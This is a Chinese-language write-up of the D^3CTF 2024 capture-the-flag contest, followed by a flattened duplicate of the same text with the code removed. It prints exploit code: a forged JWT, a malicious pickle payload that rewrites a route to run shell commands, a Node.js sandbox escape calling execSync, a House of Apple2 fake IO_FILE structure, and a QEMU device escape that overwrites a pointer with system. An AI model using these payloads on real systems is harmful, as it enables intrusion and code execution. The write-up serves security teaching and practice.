"凌武杯" D^3CTF 2024 wp
字数 2014 2025-08-19 12:42:18

"凌武杯" D^3CTF 2024 比赛技术解析与教学文档

0x00 比赛概述

"凌武杯" D^3CTF 2024是一场综合性的网络安全竞赛,涵盖了Web安全、二进制漏洞利用(Pwn)、逆向工程(Re)、杂项(Misc)以及物联网安全(IoV)等多个方向。本文档将详细解析比赛中的关键技术点,并提供详细的教学指导。

0x01 Web方向题目解析

d3pythonhttp题目解析

题目描述:一个使用Python web框架构建的应用,涉及JWT token伪造和HTTP请求走私攻击。

关键技术点:

  1. JWT token伪造
    • 题目使用HS256算法签名JWT
    • 密钥泄露在app.py文件中
    • 伪造token需要设置kid头指向app.py
import jwt

def get_key():
    try:
        with open("app.py", "r") as f:
            key = f.read()
    except:
        pass
    return key

user_info = {"username": "w1nd", "isadmin": True}
key = get_key()
token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "app.py"})
  1. HTTP请求走私攻击
    • 使用Transfer-Encoding: chunked绕过检查
    • 构造特殊的chunked数据格式
def get_chunked(data):
    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data)
    print(data)

chunked_data="BackdoorPasswordOnlyForAdmin"
get_chunked(chunked_data)
  1. Pickle反序列化漏洞
    • 通过修改路由实现RCE
    • 构造恶意pickle payload
payload=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'exec'
tR(S'app.mapping[0]=("/", lambda: __import__("os").popen('cat /*').read())'
tR.
'''

完整攻击流程:

  1. 伪造JWT token获取admin权限
  2. 使用HTTP走私攻击绕过后端检查
  3. 通过Pickle反序列化修改路由
  4. 访问新路由执行命令获取flag

stack_overflow题目解析

题目描述:一个模拟栈操作的Node.js应用,存在栈溢出漏洞。

关键技术点:

  1. 栈溢出利用

    • 通过覆盖栈中的函数指针
    • 泄露PIE基址
  2. Node.js沙箱逃逸

    • 利用constructor.constructor执行任意代码
    • 绕过过滤字符限制
(function (...a){ 
  return this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /f*").toString();
})

攻击步骤:

  1. 覆盖栈中函数指针泄露PIE基址
  2. 构造恶意函数覆盖原函数
  3. 通过沙箱逃逸执行系统命令

0x02 Pwn方向题目解析

d3note题目解析

题目描述:一个笔记应用,存在索引越界漏洞。

关键技术点:

  1. 索引越界利用

    • 越界读写stdout结构体
    • 构造伪造的IO_FILE结构
  2. House of Apple2利用

    • 通过伪造IO_FILE结构实现任意写
    • 最终获取shell

利用代码片段:

fake_file=flat({
        file_offset+0x00:b'  sh;',
        file_offset+0x28:1,
    file_offset+0x68:libc_sym('system'),
    file_offset+0x88:lock,
    file_offset+0xa0:file_addr,
    file_offset+0xd8:_IO_wfile_jumps-0x20,
    file_offset+0xe0:file_addr,
},filler='\x00')

D3BabyEscape题目解析

题目描述:一个PCI设备模拟题,存在内存越界读写漏洞。

关键技术点:

  1. PMIO/MMIO操作

    • 通过端口I/O和内存映射I/O与设备交互
    • 修改关键函数指针
  2. 利用步骤

    • 通过mmio_read泄露函数地址
    • 计算system地址
    • 通过pmio_write覆盖函数指针

关键代码:

mmio_write(0x80,0xff);
size_t leak=mmio_read(0x15);
size_t system_addr=leak+0x782dcc850d70-0x782dcc846780;
pmio_write(0x50,system_addr);

0x03 逆向工程题目解析

RandomVM题目解析

题目描述:一个自定义虚拟机,使用随机数控制执行流程。

关键技术点:

  1. 虚拟机分析

    • 使用固定种子(0xD33B470)初始化随机数
    • 通过函数指针数组实现跳转
  2. 控制流恢复

    • 提取所有可能的执行路径
    • 分析每个基本块的功能
  3. 加密算法逆向

    • 输入字符经过位移和异或处理
    • 使用z3求解器逆向算法

解密脚本:

from z3 import *
enc = [0x9D, 0x6B, 0xA1, 0x02, 0xD7, 0xED, 0x40, 0xF6, 0x0E, 0xAE, 0x84, 0x19]

s = Solver()
dec = [BitVec(('x%s' % i), 8) for i in range(12)]
# 添加约束条件...
if s.check() == sat:
    result = s.model()
    print(''.join([chr(result[dec[i]].as_long()) for i in range(12)]))

0x04 杂项题目解析

O!!!SPF!!!!!! Enhanced题目解析

题目描述:一个涉及IPv6和OpenVPN配置的题目。

关键技术点:

  1. IPv6路由追踪

    • 使用tracert追踪2a13:b487:11aa::d3:c7f:2f路径
    • 从路由节点获取OpenVPN静态密钥
  2. OpenVPN配置修复

    • 补全缺失的tls-crypt部分
    • 正确配置IP和端口

获取的静态密钥:

bd23ff4fb2b7f8e49200c3801151663d
0dcc848e1b075bd4dcb4fd32712559de
...
aaf26d2a066ce6356487ead9551fda4c

Baldur's Gate 3 Complete Spell List题目解析

题目描述:基于博德之门3法术列表的编码题目。

解题步骤:

  1. 法术等级提取

    • 从法术描述中提取等级数字
    • 第8级法术用数字8表示
  2. 九进制转换

    • 将提取的数字序列视为九进制
    • 转换为十进制后再转ASCII字符
  3. Base64解码

    • 最终得到一个包含Base64编码图片的URL
    • 解码后获取二维码和flag

0x05 物联网(IoV)题目解析

D3_car_1题目解析

题目描述:一个安卓车载系统题目。

解题步骤:

  1. ADB连接

    • 通过nc等待安卓启动
    • 使用adb连接设备
  2. APK分析

    • 查找目标包名:com.d3car.factory
    • 提取APK文件分析
adb pull /system/priv-app/D3Factory/D3Factory.app ./d3car.apk
  1. Flag查找
    • 直接grep APK文件查找flag
    • 或使用jadx反编译分析

0x06 总结与学习要点

  1. Web安全

    • JWT安全机制及伪造方法
    • HTTP请求走私攻击技术
    • Python pickle反序列化漏洞
  2. 二进制安全

    • 栈溢出利用技术
    • IO_FILE结构利用
    • 硬件模拟设备漏洞利用
  3. 逆向工程

    • 自定义虚拟机分析
    • 控制流恢复技术
    • 使用z3求解器逆向算法
  4. 杂项技术

    • IPv6网络侦查技术
    • OpenVPN配置分析
    • 游戏数据编码分析
  5. 物联网安全

    • ADB调试接口利用
    • 安卓APK分析技术

通过本次比赛的技术解析,可以全面了解现代CTF比赛中常见的漏洞类型和利用技术,为安全研究和实战提供宝贵经验。

"凌武杯" D^3CTF 2024 比赛技术解析与教学文档 0x00 比赛概述 "凌武杯" D^3CTF 2024是一场综合性的网络安全竞赛,涵盖了Web安全、二进制漏洞利用(Pwn)、逆向工程(Re)、杂项(Misc)以及物联网安全(IoV)等多个方向。本文档将详细解析比赛中的关键技术点,并提供详细的教学指导。 0x01 Web方向题目解析 d3pythonhttp题目解析 题目描述 :一个使用Python web框架构建的应用,涉及JWT token伪造和HTTP请求走私攻击。 关键技术点: JWT token伪造 : 题目使用HS256算法签名JWT 密钥泄露在app.py文件中 伪造token需要设置 kid 头指向app.py HTTP请求走私攻击 : 使用Transfer-Encoding: chunked绕过检查 构造特殊的chunked数据格式 Pickle反序列化漏洞 : 通过修改路由实现RCE 构造恶意pickle payload 完整攻击流程: 伪造JWT token获取admin权限 使用HTTP走私攻击绕过后端检查 通过Pickle反序列化修改路由 访问新路由执行命令获取flag stack_ overflow题目解析 题目描述 :一个模拟栈操作的Node.js应用,存在栈溢出漏洞。 关键技术点: 栈溢出利用 : 通过覆盖栈中的函数指针 泄露PIE基址 Node.js沙箱逃逸 : 利用constructor.constructor执行任意代码 绕过过滤字符限制 攻击步骤: 覆盖栈中函数指针泄露PIE基址 构造恶意函数覆盖原函数 通过沙箱逃逸执行系统命令 0x02 Pwn方向题目解析 d3note题目解析 题目描述 :一个笔记应用,存在索引越界漏洞。 关键技术点: 索引越界利用 : 越界读写stdout结构体 构造伪造的IO_ FILE结构 House of Apple2利用 : 通过伪造IO_ FILE结构实现任意写 最终获取shell 利用代码片段: D3BabyEscape题目解析 题目描述 :一个PCI设备模拟题,存在内存越界读写漏洞。 关键技术点: PMIO/MMIO操作 : 通过端口I/O和内存映射I/O与设备交互 修改关键函数指针 利用步骤 : 通过mmio_ read泄露函数地址 计算system地址 通过pmio_ write覆盖函数指针 关键代码: 0x03 逆向工程题目解析 RandomVM题目解析 题目描述 :一个自定义虚拟机,使用随机数控制执行流程。 关键技术点: 虚拟机分析 : 使用固定种子(0xD33B470)初始化随机数 通过函数指针数组实现跳转 控制流恢复 : 提取所有可能的执行路径 分析每个基本块的功能 加密算法逆向 : 输入字符经过位移和异或处理 使用z3求解器逆向算法 解密脚本: 0x04 杂项题目解析 O!!!SPF!!!!! ! Enhanced题目解析 题目描述 :一个涉及IPv6和OpenVPN配置的题目。 关键技术点: IPv6路由追踪 : 使用tracert追踪2a13:b487:11aa::d3:c7f:2f路径 从路由节点获取OpenVPN静态密钥 OpenVPN配置修复 : 补全缺失的tls-crypt部分 正确配置IP和端口 获取的静态密钥: Baldur's Gate 3 Complete Spell List题目解析 题目描述 :基于博德之门3法术列表的编码题目。 解题步骤: 法术等级提取 : 从法术描述中提取等级数字 第8级法术用数字8表示 九进制转换 : 将提取的数字序列视为九进制 转换为十进制后再转ASCII字符 Base64解码 : 最终得到一个包含Base64编码图片的URL 解码后获取二维码和flag 0x05 物联网(IoV)题目解析 D3_ car_ 1题目解析 题目描述 :一个安卓车载系统题目。 解题步骤: ADB连接 : 通过nc等待安卓启动 使用adb连接设备 APK分析 : 查找目标包名:com.d3car.factory 提取APK文件分析 Flag查找 : 直接grep APK文件查找flag 或使用jadx反编译分析 0x06 总结与学习要点 Web安全 : JWT安全机制及伪造方法 HTTP请求走私攻击技术 Python pickle反序列化漏洞 二进制安全 : 栈溢出利用技术 IO_ FILE结构利用 硬件模拟设备漏洞利用 逆向工程 : 自定义虚拟机分析 控制流恢复技术 使用z3求解器逆向算法 杂项技术 : IPv6网络侦查技术 OpenVPN配置分析 游戏数据编码分析 物联网安全 : ADB调试接口利用 安卓APK分析技术 通过本次比赛的技术解析,可以全面了解现代CTF比赛中常见的漏洞类型和利用技术,为安全研究和实战提供宝贵经验。